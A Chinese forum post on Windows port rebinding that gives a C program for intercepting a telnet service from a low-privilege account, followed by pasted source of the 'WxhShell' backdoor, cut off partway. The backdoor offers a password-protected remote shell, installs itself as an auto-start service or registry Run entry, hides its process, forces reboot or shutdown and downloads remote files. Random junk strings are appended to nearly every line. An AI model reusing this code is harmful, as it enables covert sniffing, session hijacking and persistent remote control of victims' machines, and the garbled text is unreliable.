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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ${wU+E*  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JtSuD>H`"  
Dq{:R  
  saddr.sin_family = AF_INET; W^^K0yn`@  
DxE(9j  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); i:C.8hmAE  
&/ \O2Aw8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); h1n*WQ-  
0PYvey }[  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 VEL:JsY  
FX{ ~"  
  这意味着什么?意味着可以进行如下的攻击: d&/^34gn  
` 52% XI  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 f1)HHUB  
W/#KX}4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @~JB\j9  
P]|J?$1K  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 y2oB]^z&n  
1[26w_B3  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  KK@ &q  
K4iI:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 eKL]E!  
3Cq6h;!#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,O$Z,J4VL  
);0<Odw%.  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 d\v$%0  
elN{7:  
  #include <FCj)CP%  
  #include suA+8}o]  
  #include :({-0&&_  
  #include    }rO?5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   r~8D\_=s  
  int main() q >Q:X3  
  { k\sc }z8X  
  WORD wVersionRequested; $KoPGgC[  
  DWORD ret; lc\>DH\n6  
  WSADATA wsaData; |^YzFrc  
  BOOL val; ST[2]   
  SOCKADDR_IN saddr; *54>iO- c  
  SOCKADDR_IN scaddr; 'CP/ymf/a  
  int err; aQ.Iq  
  SOCKET s; L!CX &  
  SOCKET sc; uPa/,"p  
  int caddsize; F?*Dr  
  HANDLE mt; 43vGgGW  
  DWORD tid;   \4[c}l  
  wVersionRequested = MAKEWORD( 2, 2 ); {Q{lb(6Ba  
  err = WSAStartup( wVersionRequested, &wsaData ); vp"%IW  
  if ( err != 0 ) { KC@k9e  
  printf("error!WSAStartup failed!\n"); Fpy6"Z?z  
  return -1; -9=M9}eDF  
  } L9E;Uii0  
  saddr.sin_family = AF_INET; Q%M'[L?[  
   +")qi =  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {DKXn`V  
F{#N6,T  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !yoSMI-  
  saddr.sin_port = htons(23); 8[6ny=S`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7Vz[ji  
  { l.__10{  
  printf("error!socket failed!\n"); u Y?/B~  
  return -1; zvek2\*rO  
  } Q'n(^tbL  
  val = TRUE; 4+ASw N9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 oUW )H  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) nz,Mqol  
  { >i^y;5  
  printf("error!setsockopt failed!\n"); -X"5G  
  return -1; tYI ]LL  
  } V_)5Af3wY  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6{JR0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 k#1`  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Jngll  
>P6^k!R1y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /'8*aUa  
  { {0NsDi>(2  
  ret=GetLastError(); {-xi0D/Y;  
  printf("error!bind failed!\n"); ({;P#qCX  
  return -1; 6vD]@AF  
  } yt/20a  
  listen(s,2); 6%\7.h  
  while(1) .ujs`9d_-  
  { \_*?R,$3Y,  
  caddsize = sizeof(scaddr); uM6CG0  
  //接受连接请求 (PCimT=5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4 7)+'`  
  if(sc!=INVALID_SOCKET) K;@RUy~  
  { blKDQ~T2  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); N0y;PVAGu  
  if(mt==NULL) J6@(X8w{j  
  { Nz(c"3T;  
  printf("Thread Creat Failed!\n"); VxUvvJ{-v  
  break; Uv @!i0W  
  } .4S^nP  
  } O:oU`vE  
  CloseHandle(mt); .u&&H_ UmE  
  } d1srV`  
  closesocket(s); "_ PH"W  
  WSACleanup(); !SLP8|Cd  
  return 0; ^@|<'g.R-  
  }   VfL]O8P>  
  DWORD WINAPI ClientThread(LPVOID lpParam) FbNH+?  
  { lfU"SSQ  
  SOCKET ss = (SOCKET)lpParam; rd&*j^?  
  SOCKET sc; 8{}Pj  
  unsigned char buf[4096]; U~u6}s]:  
  SOCKADDR_IN saddr; dCf'\ @<<  
  long num; Bo](n*i  
  DWORD val; ]t. WJC %  
  DWORD ret; zh#OD{  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ue6/EN;}  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   WL IDw@fv  
  saddr.sin_family = AF_INET; bm|Jb"T0b  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Nt`F0 9S  
  saddr.sin_port = htons(23); W,9k0t  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &.cGj @1!J  
  { Dg9--wI}I9  
  printf("error!socket failed!\n"); ;ZxK3/(7  
  return -1; rQd1Ch  
  } boC>N   
  val = 100; ?J^IAF y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'NQMZfz  
  { mr{k>Un\  
  ret = GetLastError(); %:'1_@Ot 2  
  return -1; @!L@UP0  
  } bl:a&<F  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~cO?S2!W  
  { 4*N@=v  
  ret = GetLastError(); [3{:H"t  
  return -1; dU sJv  
  } /?.r!Cp  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) sUyCAKebRr  
  { 2-"Lxe65f  
  printf("error!socket connect failed!\n"); z) ]BV=  
  closesocket(sc); |!4B Wt  
  closesocket(ss); s]nGpA[!  
  return -1; z{D$~ ob  
  } G:h;C].  
  while(1) ~# hE&nq  
  { )E[ Q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 M\Uc;:) H  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 2HvTM8  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +H)!uLva B  
  num = recv(ss,buf,4096,0); ~n8Oyr  
  if(num>0) :w {M6mM>  
  send(sc,buf,num,0); {|Mxvp*Hg  
  else if(num==0) xoz*UA.  
  break; |*]X\UE  
  num = recv(sc,buf,4096,0); zCj*:n  
  if(num>0) &;NNU T>Q  
  send(ss,buf,num,0); d!}jdt5%  
  else if(num==0) Q ^1#xBd  
  break; eu}:Wg2  
  } i h`y0(<  
  closesocket(ss); ~L \(/[  
  closesocket(sc); Pq{YZMr  
  return 0 ; 26('V `N  
  } evndw>  
t(z(-G|&  
^V XXq  
========================================================== n7`.<*:  
"EOk^1,y  
下边附上一个代码,,WXhSHELL eSvc/CU  
~u?x{[  
========================================================== :r vO8.\  
z/P^-N>  
#include "stdafx.h" A_6/umF[ZA  
FM;;x(sg  
#include <stdio.h> 0f=N3)  
#include <string.h> NSiYUAu g  
#include <windows.h> eBSn1n  
#include <winsock2.h> k<j)?_=`  
#include <winsvc.h> T|BY00Sz`  
#include <urlmon.h> jziA;6uL  
*s<dgFA'  
#pragma comment (lib, "Ws2_32.lib") Vne. HFXA  
#pragma comment (lib, "urlmon.lib") 72 s$  
% Zl_{Q]h  
#define MAX_USER   100 // 最大客户端连接数 fUL{c,7xda  
#define BUF_SOCK   200 // sock buffer U"%8"G0)  
#define KEY_BUFF   255 // 输入 buffer 35@Ibe~  
e%@[d<Ta\  
#define REBOOT     0   // 重启  4s1kZ`e  
#define SHUTDOWN   1   // 关机 M$>WmG1~D  
1^WA  
#define DEF_PORT   5000 // 监听端口 QX.F1T 2e?  
8&2gM  
#define REG_LEN     16   // 注册表键长度 _,K>u6N&  
#define SVC_LEN     80   // NT服务名长度 Ro3I/NI>  
HhQPgjZ/  
// 从dll定义API Tl/Dq(8JH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^Lg{2hjj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e u=f-HW]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]Gd]KP@S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); VtPoc(o4]  
UQji7K }  
// wxhshell配置信息 zOu$H[  
struct WSCFG { d'g{K]=tF  
  int ws_port;         // 监听端口 0|DG\&?  
  char ws_passstr[REG_LEN]; // 口令 D)/XP  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]uj.uWD  
  char ws_regname[REG_LEN]; // 注册表键名 Tm~#wL +r  
  char ws_svcname[REG_LEN]; // 服务名 v-r[~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ("P mB?20  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 u UVV>An  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k>z-Zg  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "]\":T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BorfEv} SN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P+zI9~N[  
<1'X)n&Kw$  
}; 5f`XFe$8  
@=zBF'<.9  
// default Wxhshell configuration }~\].I6  
struct WSCFG wscfg={DEF_PORT, ;uA_gn!  
    "xuhuanlingzhe", 1Sc~Vb|>  
    1, `bt)'ERO%#  
    "Wxhshell", -Bwu$$0  
    "Wxhshell", $RFu m'`5  
            "WxhShell Service", W*/s4 N  
    "Wrsky Windows CmdShell Service", n`I jG  
    "Please Input Your Password: ", nO.+&kA  
  1, - 5-SlQu  
  "http://www.wrsky.com/wxhshell.exe", I3E8vi%B.  
  "Wxhshell.exe" iDkWW  
    }; ^J5V!i$  
~3-YxCn%  
// 消息定义模块 oj4)7{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; EV7+u0uN&Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,IVr4#w0=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +KwF U  
char *msg_ws_ext="\n\rExit."; e[ k;SSs  
char *msg_ws_end="\n\rQuit."; oWaIjU0  
char *msg_ws_boot="\n\rReboot..."; HS&uQc a  
char *msg_ws_poff="\n\rShutdown..."; uF.\dY\xv  
char *msg_ws_down="\n\rSave to "; ~PAbLSL*u  
JU%yqXO  
char *msg_ws_err="\n\rErr!"; 5tCq}]q#P  
char *msg_ws_ok="\n\rOK!"; m{yNnJ3O  
"y ,(9_#  
char ExeFile[MAX_PATH]; buM>^A"  
int nUser = 0; 3v3Va~fm`  
HANDLE handles[MAX_USER]; eS# 0-  
int OsIsNt; 6~Oje>w;  
 v=Bh A9[  
SERVICE_STATUS       serviceStatus; Sdu@!<?B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; uxJiec`&  
Y  X{  
// 函数声明 +fQ$~vr{'  
int Install(void); O>):^$-K%  
int Uninstall(void); #pn AK  
int DownloadFile(char *sURL, SOCKET wsh); tIy/QN_42  
int Boot(int flag); 2mp>Mn~K^  
void HideProc(void); bg3jo1J  
int GetOsVer(void); 7R`ZTfD  
int Wxhshell(SOCKET wsl); ORPl^n-  
void TalkWithClient(void *cs); 7u3b aM  
int CmdShell(SOCKET sock); ]A<u eM  
int StartFromService(void);  AQNx%  
int StartWxhshell(LPSTR lpCmdLine); @U.}Ei  
m=l3O:~J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tlxjs]{0E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); kd4*Zab  
+n~rM'^4/  
// 数据结构和表定义 Q c< O; #  
SERVICE_TABLE_ENTRY DispatchTable[] = Pg8=  
{ iU+,Jeu  
{wscfg.ws_svcname, NTServiceMain}, -Aym+N9  
{NULL, NULL} 8JO\%DFJ  
}; 2uR4~XjF  
3LnyQ  
// 自我安装 9l^  
int Install(void) M,U=zNPnk  
{ NeZYchR  
  char svExeFile[MAX_PATH]; F4{. 7BT  
  HKEY key; j\L$dPZ  
  strcpy(svExeFile,ExeFile); #w?%&,Kp  
z)y(31K<1  
// 如果是win9x系统,修改注册表设为自启动  >33b@)  
if(!OsIsNt) { LUVJ218p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "uER a(i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aeLo;!Jh  
  RegCloseKey(key); .0;k|&eBD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,^[37/S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0$h$7'a  
  RegCloseKey(key); 6]A\8Ty  
  return 0; 7 ,~Krzv  
    } ,ui'^8{gK  
  } jN{xpd  
} Jj!tRZT  
else { ;HwJw\fo  
T ]nR XW$  
// 如果是NT以上系统,安装为系统服务 Vw@x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  X_S]8Aa  
if (schSCManager!=0) F7u%oLjr  
{ mNB ]e5 ;N  
  SC_HANDLE schService = CreateService q$*_C kT  
  ( 8$tpPOhzb  
  schSCManager, ]1$AAmQH  
  wscfg.ws_svcname, ;8Q?`=a  
  wscfg.ws_svcdisp, SL 5DWZ  
  SERVICE_ALL_ACCESS, JV{!Ukuyp+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t7%Bv+Uo  
  SERVICE_AUTO_START, JKv4}bv  
  SERVICE_ERROR_NORMAL, uXa}<=O  
  svExeFile, R,Uy3N  
  NULL, R2f,a*>  
  NULL, 2>$L>2$  
  NULL, 7ib<Cb>K  
  NULL, #yOY&W:N  
  NULL ,(?4T~  
  ); RwHXn]1  
  if (schService!=0) Os]M$c_88  
  { ?bi^h/ f  
  CloseServiceHandle(schService); D4S?b ZFHo  
  CloseServiceHandle(schSCManager); 6>7LFV1tvy  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <[??\YOc  
  strcat(svExeFile,wscfg.ws_svcname); j?ubh{Izm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5]ob;tAm  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9e*poG  
  RegCloseKey(key); UsKn4Kh  
  return 0; 5 : >  
    } v333z<<S  
  } 4B>|Wft{p]  
  CloseServiceHandle(schSCManager); _ L6>4  
} DuZ]g#  
} Rzj!~`&N  
J=bOw//  
return 1; WuXRL}!\,  
} "2j~3aWj  
vv_?ip:t  
// 自我卸载 ozwqK oE  
int Uninstall(void) r/:'}os;  
{ 0 1w/,r  
  HKEY key; $l"(tB7d  
0tyU%z{RV  
if(!OsIsNt) { E&v-(0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 82l";;n4p  
  RegDeleteValue(key,wscfg.ws_regname); gvt4'kp  
  RegCloseKey(key); 0$uS)J\;K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ur5n{0#  
  RegDeleteValue(key,wscfg.ws_regname); WL]'lSHa  
  RegCloseKey(key); o?8j *]  
  return 0; .v8=zi:7Y  
  } ee\zU~  
} \wd`6  
} `N,Jiw;bw  
else { j0M;2 3@[  
YR#1[fe*_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hZG{"O!2 s  
if (schSCManager!=0) P3>2=qK"E(  
{ 0']M,iC/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^<b.j.$<z  
  if (schService!=0) 0+h?Bk  
  { 5lY9  
  if(DeleteService(schService)!=0) { KwyXM9h6=  
  CloseServiceHandle(schService); M,lu)~H  
  CloseServiceHandle(schSCManager); J(L$pIM  
  return 0; p 1fnuN |,  
  } (#BA{9T,^  
  CloseServiceHandle(schService); Dn! V)T  
  } Fm{y.URo  
  CloseServiceHandle(schSCManager); | mX8fRh  
} pswppC6f  
} '1*MiFxKq  
Dne&YVF9V  
return 1; rbWFq|(_  
} !qq@F%tv  
H[oi? {L  
// 从指定url下载文件 ?RyvM_(N6  
int DownloadFile(char *sURL, SOCKET wsh) U:(t9NX b  
{ Fv B2y8&W  
  HRESULT hr; >X,6  
char seps[]= "/"; % M:"Ai5:  
char *token; JJO"\^,;~  
char *file; G_RK3E[FK  
char myURL[MAX_PATH]; {QJ`.6Kt  
char myFILE[MAX_PATH]; %J'_c|EQM  
3e:y?hpeL  
strcpy(myURL,sURL); -z94>}Z=  
  token=strtok(myURL,seps); B5S1F4  
  while(token!=NULL) Nrh`DyF0D!  
  { 'ZZ/:MvQa  
    file=token; U)6JJv  
  token=strtok(NULL,seps); )/w2]d/9  
  } dY^~^<{Lj  
MDt4KD+bZ  
GetCurrentDirectory(MAX_PATH,myFILE); .d,Zx  
strcat(myFILE, "\\"); >n62csO  
strcat(myFILE, file); p`0Tpgi  
  send(wsh,myFILE,strlen(myFILE),0); g'@+#NMw  
send(wsh,"...",3,0); Pd?YS!+S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N11am  
  if(hr==S_OK) Orgje@c{  
return 0; ,.B8hr@H6-  
else &aU+6'+QXB  
return 1; 8iB}a\]B  
uNDkK o<M  
} Z )I4U  
#B[>\D"*  
// 系统电源模块 a1&^P1.  
int Boot(int flag) |,crQ'N'  
{ }W J`q`g  
  HANDLE hToken; Urr1 K)  
  TOKEN_PRIVILEGES tkp; eX/$[SL[  
UgJHSl  
  if(OsIsNt) { ~Hf,MLMdTf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |ipppE=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _4w%U[GT,  
    tkp.PrivilegeCount = 1; J/ ~]A1fP6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }I0^nv1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6W o7q\"  
if(flag==REBOOT) { ubw ]}sfM#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) MmB-SR[>P  
  return 0; >Ww F0W9?  
} muLTYgaM  
else { <dZ{E7l  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'S\H% -  
  return 0; 'lF|F+8   
} 6 s/O\A  
  } 3h>Ji1vV  
  else { /WMLr5  
if(flag==REBOOT) { )/Vr 5b@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a &j?"o  
  return 0; 'AoH2 |  
} {_JLmyaerZ  
else { &W%TY:Da|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _nt%&f  
  return 0; !E8JpE|z#  
} $}829<gh7  
} :d;5Q\C`  
2t'&7>Ys{  
return 1; :>;#/<3{  
} J&?kezs  
S;C3R5*:  
// win9x进程隐藏模块 POf \l  
void HideProc(void) 0qv)'[O  
{ oT'XcMn  
Jq->DzSmj/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W~qo `r  
  if ( hKernel != NULL ) ?!ig/ufZ  
  { ,DjZDw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u'C4d6\wS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); a ]*^uEs  
    FreeLibrary(hKernel); DRnXo-Aaj  
  } hH\(> 4l  
`@90b 4u  
return; oj/tim  
} %2{E'^#)p-  
GZ%R fKyQ  
// 获取操作系统版本 hf '3yEm  
int GetOsVer(void) 2+'&||h  
{ z"-Urd^O  
  OSVERSIONINFO winfo; ifkA3]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0-FbV,:;  
  GetVersionEx(&winfo); +RM3EvglDQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cGD A0#r  
  return 1; (8{Z@  
  else (]JJ?aAF  
  return 0; >wn&+%i&  
} j EX([J1  
4xlsdq8`t  
// 客户端句柄模块 &HE8O}<>  
int Wxhshell(SOCKET wsl) REJ}T:  
{ $KiA~l  
  SOCKET wsh; E-/]UH3u H  
  struct sockaddr_in client; ;RrfE8mGj  
  DWORD myID; # a3Q<%V  
`yhL11 ]~  
  while(nUser<MAX_USER) .C1^QY-wL  
{ F'K{=  
  int nSize=sizeof(client); *6h.#$\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); </fnbyGR  
  if(wsh==INVALID_SOCKET) return 1; w-KtxG(  
QM IQy  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _CgD7d  
if(handles[nUser]==0) ?;$g,2n  
  closesocket(wsh); DN!EsQ6  
else T]:5y_4?[  
  nUser++; `s+qz  
  } 6x{B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aRV<y8{9  
1F=x~FMvY  
  return 0; 6};Sn/ 8  
} HdGy$m`  
ev; &$Hc  
// 关闭 socket O&)Y3O1  
void CloseIt(SOCKET wsh) 33; yt d  
{ Nb$)YMbA  
closesocket(wsh); f; 22viE  
nUser--; ~6OdPD  
ExitThread(0); NENbr$,G  
} {\%x{  
.VI2V-Q  
// 客户端请求句柄 Un<~P@T%  
void TalkWithClient(void *cs) 'HC4Q{b`  
{ 4fN<pG,  
bZ389dSn  
  SOCKET wsh=(SOCKET)cs; kqy Y:J  
  char pwd[SVC_LEN]; Jlzhn#5c-  
  char cmd[KEY_BUFF]; }/=VnCfU  
char chr[1]; NZl0sX.:  
int i,j; ur'A;B  
GUK/Xiu  
  while (nUser < MAX_USER) { qvT9d7x  
cgU7)`0j  
if(wscfg.ws_passstr) { v/kYyz  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6Us#4 v,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]6%| L  
  //ZeroMemory(pwd,KEY_BUFF); 3A+d8fwi  
      i=0; `527vK 6  
  while(i<SVC_LEN) { !6kLg1  
L.8-nTg"y  
  // 设置超时 LOQEU? z  
  fd_set FdRead; <EE)d@%>v  
  struct timeval TimeOut; %9M_ * ]  
  FD_ZERO(&FdRead); WB= gN:?  
  FD_SET(wsh,&FdRead); S]<Hx_[}  
  TimeOut.tv_sec=8; NZ Xmrc{S  
  TimeOut.tv_usec=0; :+u?A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b&!X#3(KT  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $idYG<],  
z-()7WY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k: c)|2  
  pwd=chr[0]; !7_Q_h',  
  if(chr[0]==0xd || chr[0]==0xa) { 5T,`j=\  
  pwd=0; l9-(ofY*J  
  break; d`Wd"LJ=  
  } 1X=}  
  i++; Jo2:0<VL  
    } s]}P jh8  
fHM<6i<C  
  // 如果是非法用户,关闭 socket /N~.,vf  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E")82I  
} GU_R6Wt+  
-{ZRk[>Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <Q%\ pAP}b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (pAGS{{  
{| Tl3  
while(1) { D].1X0^hp  
w,^!kO0)~8  
  ZeroMemory(cmd,KEY_BUFF); _PJd1P.k  
b,s T[!X[  
      // 自动支持客户端 telnet标准   %rYd=Ri  
  j=0; C EAwQH  
  while(j<KEY_BUFF) { M[SWMVN{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p0[ %+n%  
  cmd[j]=chr[0]; ^f@EDG8  
  if(chr[0]==0xa || chr[0]==0xd) { ]81P<Y(7  
  cmd[j]=0; 'b%S3)}  
  break; |E|d"_Ma  
  } $yG=exh3v  
  j++; y_QK _R<f  
    } 3^C  
c\7~_w2  
  // 下载文件 0*x  
  if(strstr(cmd,"http://")) { 3PPN_Z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); g&&5F>mF  
  if(DownloadFile(cmd,wsh)) {8'I+-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 85-00m ~  
  else )p 2kx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IE,xiV  
  } %I?uO( @  
  else { :H3qa2p  
@=:( b"Sg  
    switch(cmd[0]) { V D-,)f  
  y1z4qSeM  
  // 帮助 1^$ vmULj  
  case '?': { r6JdF!\d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q/L:0ovR  
    break; :IvKxOv  
  } r65/O5F  
  // 安装 66!cfpM  
  case 'i': { |h4aJv  
    if(Install()) >}Fe9Y.o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6f(K'v  
    else xV}-[W5sr'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6o!+E@V b  
    break; m&cVda/  
    } "1yXOy^2  
  // 卸载 Fn1|Wt*  
  case 'r': { J1KV?aR  
    if(Uninstall()) \= =rdW-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p78X,44xg  
    else *+rO3% ;t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;(5b5PA  
    break; CWHTDao  
    } C/U^8,6\n  
  // 显示 wxhshell 所在路径 M|6 l  
  case 'p': { B^Fe.ty  
    char svExeFile[MAX_PATH]; 1>|2B&_^  
    strcpy(svExeFile,"\n\r"); 3%p^>D\  
      strcat(svExeFile,ExeFile); 4At{(fw W  
        send(wsh,svExeFile,strlen(svExeFile),0); |Q[[WHqj2f  
    break; aOIE9wO  
    } ^U)xQD"  
  // 重启 wak_^8x  
  case 'b': { rzsAnLxo  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *#\da]"{  
    if(Boot(REBOOT)) o)GLh^g_I'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R,>LUa*u  
    else { 2guWWFS  
    closesocket(wsh); 2M1}`H\  
    ExitThread(0); "Y-_83  
    } Yi:@>A<#  
    break; =^%#F~o:  
    } jv_z%`  
  // 关机 Rf9;jwU  
  case 'd': { m:_'r"o  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K*NCIIDh  
